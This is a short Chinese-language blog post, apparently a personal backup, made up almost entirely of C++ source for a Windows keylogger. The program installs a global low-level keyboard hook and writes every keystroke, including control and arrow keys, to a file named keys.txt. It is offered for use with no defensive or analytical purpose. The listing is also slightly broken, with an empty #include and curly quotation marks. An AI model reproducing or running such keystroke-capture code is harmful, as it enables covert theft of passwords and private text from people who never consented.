Windows下C++通过Hooks记录键盘敲击记录的代码

将写内容过程中比较好的内容备份一下,下边内容内容是关于Windows下C++通过Hooks记录键盘敲击记录的内容。

#define _WIN32_WINNT 0x0500

#include
#include<windows.h>

using namespace std;

ofstream out(“keys.txt”, ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

if (wParam == WM_KEYDOWN) {
	switch (p->vkCode) {

		case VK_CAPITAL:	out << "<CAPLOCK>";		break;
		case VK_SHIFT:		out << "<SHIFT>";		break;
		case VK_LCONTROL:	out << "<LCTRL>";		break;
		case VK_RCONTROL:	out << "<RCTRL>";		break;
		case VK_INSERT:		out << "<INSERT>";		break;
		case VK_END:		out << "<END>";			break;
		case VK_PRINT:		out << "<PRINT>";		break;
		case VK_DELETE:		out << "<DEL>";			break;
		case VK_BACK:		out << "<BK>";			break;

		case VK_LEFT:		out << "<LEFT>";		break;
		case VK_RIGHT:		out << "<RIGHT>";		break;
		case VK_UP:			out << "<UP>";			break;
		case VK_DOWN:		out << "<DOWN>";		break;

		default:
			out << char(tolower(p->vkCode));

	}
}

return CallNextHookEx(NULL, nCode, wParam, lParam);

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

HHOOK keyboardHook = SetWindowsHookEx(
	WH_KEYBOARD_LL,
	keyboardHookProc,
	hInstance,
	0);

MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

out.close();

return 0;

}


版权声明:本文为night_blooming原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。